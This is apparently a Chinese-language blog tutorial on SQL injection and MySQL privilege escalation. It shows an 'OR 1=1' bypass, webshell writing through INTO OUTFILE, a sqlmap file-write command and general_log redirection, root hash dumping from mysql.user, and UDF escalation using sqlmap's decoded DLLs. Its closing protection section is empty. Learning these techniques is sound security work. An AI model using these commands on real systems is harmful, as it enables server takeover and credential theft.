SQL注入漏洞基础#
SQL注入简介#
SQL注入顾名思义,就是针对sql语言的一种代码注入技术,计算机难以分清指令与数据,所以在进行查询时,攻击者利用精心构造的SQL语句就可以得到想要的返回数据了。下面引用cloudflare官方文档对SQL注入的介绍
1
2
3
4
5
6
7
| 结构化查询语言 (SQL*) 注入是一种代码注入技术,用于修改或从 SQL 数据库检索数据。通过在输入字段中插入专用的 SQL 语句,攻击者可以执行命令,以允许从数据库中检索数据、破坏敏感数据或执行其他操纵行为。
通过正确执行 SQL 命令,未经授权的用户可以伪造特权更高的用户的身份,使自己或其他人成为数据库管理员,篡改现有数据、修改事务和余额以及检索和/或销毁所有服务器数据。
在现代计算中,SQL 注入通常是通过将恶意 SQL 查询发送到由网站或服务提供的 API 端点而在 Internet 上发生的(下文会详细介绍)。在最严重的形式下,SQL 注入可以使攻击者获得对计算机的 root 访问权限,完全掌握控制权。
*SQL 是用于维护大多数数据库的编程语言。
|
SQL 注入攻击的工作原理#
模拟场景#
一个法庭,一个名叫 Bob 的男子受审,他即将在法官面前出庭。在庭审前填写文书时,Bob 将自己的名字写成“Bob 可以自由离开”。当法官审理其案件并大声读出“下面传唤的人是‘Bob 可以自由离开’”时,法警放开 Bob,因为法官说他可以自由离开了。
尽管 SQLi 的各个变版略有不同,但核心漏洞本质上是相同的:本应为特定类型的数据(例如数字)保留的 SQL 查询字段传递了意外的信息(例如命令)。该命令在运行时越过预期的范围,从而允许可能有害的行为。查询字段通常由在网页上输入表单的数据填充。(该例子可以是验证密码的SQL注入实例)
实际场景#
假设一个网站可以输入学生学号,直接查询对应的学生姓名。
那么假设其后端代码如下
1
2
| studentId = getRequestString("studentId");
lookupName = "SELECT * FROM students WHERE studentId = " + studentId
|
可以看到,如果输入学号123456,对应的SQL查询语句就是
1
| SELECT * FROM students WHERE studentId = 123456
|
如此查询可以返回正确的学生姓名。可是如果攻击者在语句后方拼接恶意代码,就可以越权获取他本不该获取数据了。例如他在网页的学号框中输入123456 OR 1=1,那么查询语句代码就变为
1
| SELECT * FROM students WHERE studentId = 123456 OR 1=1
|
如此,攻击者就可以获取students表中所有的学生名了,因为 OR 1=1 使得 WHERE 表达式中的值恒为 TRUE。
危害与利用#
最常见的危害就是获取数据库信息了,也就是俗称的拖库。通过不断地枚举获取其数据表与字段,慢慢把数据全部打包带走。有些密码没做加密保护的,甚至还能直接盗取账号窃取凭证。除了获取数据,肯定也能增删改了,不论是大量垃圾数据的填充还是对实际数据的篡改与删除,危害都是很大的。此外,SQL注入有时也能用于提权getshell。
SQL注入类型很多很杂。
根据提交参数类型有整形 字符型注入。一般弱类型语言如php asp等会做类型识别,对于异常类型会抛出异常,强类型语言如c# java则一般不存在该类问题。
根据返回结果也有回显和无回显注入。主要是根据提交数据后有无数据回显,为了方便判断结果,就有报错、时间、布尔盲注等注入方式,前者将结果包裹在报错信息中,后两者则通过布尔值与时间值的回显差异来进行true or false判断。
根据注入方法还有post\get\cookie等等。
MySQL提权#
提权相对来说较为复杂,其危害一般是通过一些方法来获取系统权限,从而接管服务器。
直接写webshell#
- 目标网站绝对路径
- 高数据库权限用户
- 配置文件:load_file() 与 secure_file_prev 配置不当
- web目录有写入权限
首先通过语法查看是否存在配置不当
1
2
3
4
5
6
7
| show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
|
Value | 说明 |
---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足条件,则可以使用SQL语句写入恶意文件
1
| select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
|
使用sqlmap则可以使用以下命令
1
| sqlmap -u "http://x.x.x.x/?id=x" --file-write="./your_shell.php" --file-dest="/var/www/html/test/shell.php"
|
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
重定义日志文件#
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1
2
3
4
5
6
7
8
| mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/3liza.log |
+------------------+---------------------------------+
|
该值默认为OFF,开启它可以记录用户输入的每条命令,会将其保存在对应的日志文件中。
通过重定义日志文件,向其中写入内容的话就可以将其改写为webshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/your_shell.php';
# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/your_shell.php|
+------------------+-----------------------------+
# 往日志里面写入 payload
select '<?php phpinfo();?>';
# 此时已经写到 your_shell.php 文件当中了
|
虽然写入已经成功了,但是修改该文件的用户是MySQL用户,一般访问时会报错,在Linuxroot下成功率较低,只有在Windows上才稍微好点。
破解哈希拿root#
直接在mysql.user表中存在用户凭证信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+
|
简单的hash可以直接破解,复杂一点的也可以用hashcat跑
历史漏洞#
太老了,不想写了,简单列一下
yaSSL缓冲区溢出: 08年曝出的MySQL yaSSL SSL Hello Message Buffer Overflow
CVE-2012-2122: 多次登录失败有几率直接登录进入数据库
UDF提权#
UDF(User Defined Function), 用户自定函数。用户可以自定义函数,来实现一些更加方便的和复杂的操作。可以在SQL语句中像直接调用version()那样调用该自定函数。
在MySQL>=5.1的版本,需要将udf的dll\os文件放到MySQL安装目录里下的lib\plugin\下才能创建自定义函数。
sqlmap与msf都集成了一些dll\os文件。比如sqlmap/data/udf/mysql
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
使用该命令来解码:
1
| python3 cloak.py -d -i ./lib_mysqludf_sys.dll_[输入] -o ./lib_mysqludf_sys_64.dll[输出]
|
而msf的动态链接文件无需解码,存放在msf/embedded/framework/data/exploits/mysql
,据说两者的动态链接库文件一模一样。。。
那么将动态链接文件放入plugin目录即可,使用以下命令查看目录
1
2
3
4
5
6
| mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
|
如果没有该目录,则可以先获取MySQL安装目录,再手动创建进去
1
2
3
4
5
6
| mysql> select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+
|
https://www.sqlsec.com/2020/11/mysql.html#%E5%8F%8D%E5%BC%B9%E7%AB%AF%E5%8F%A3%E6%8F%90%E6%9D%83
漏洞防护#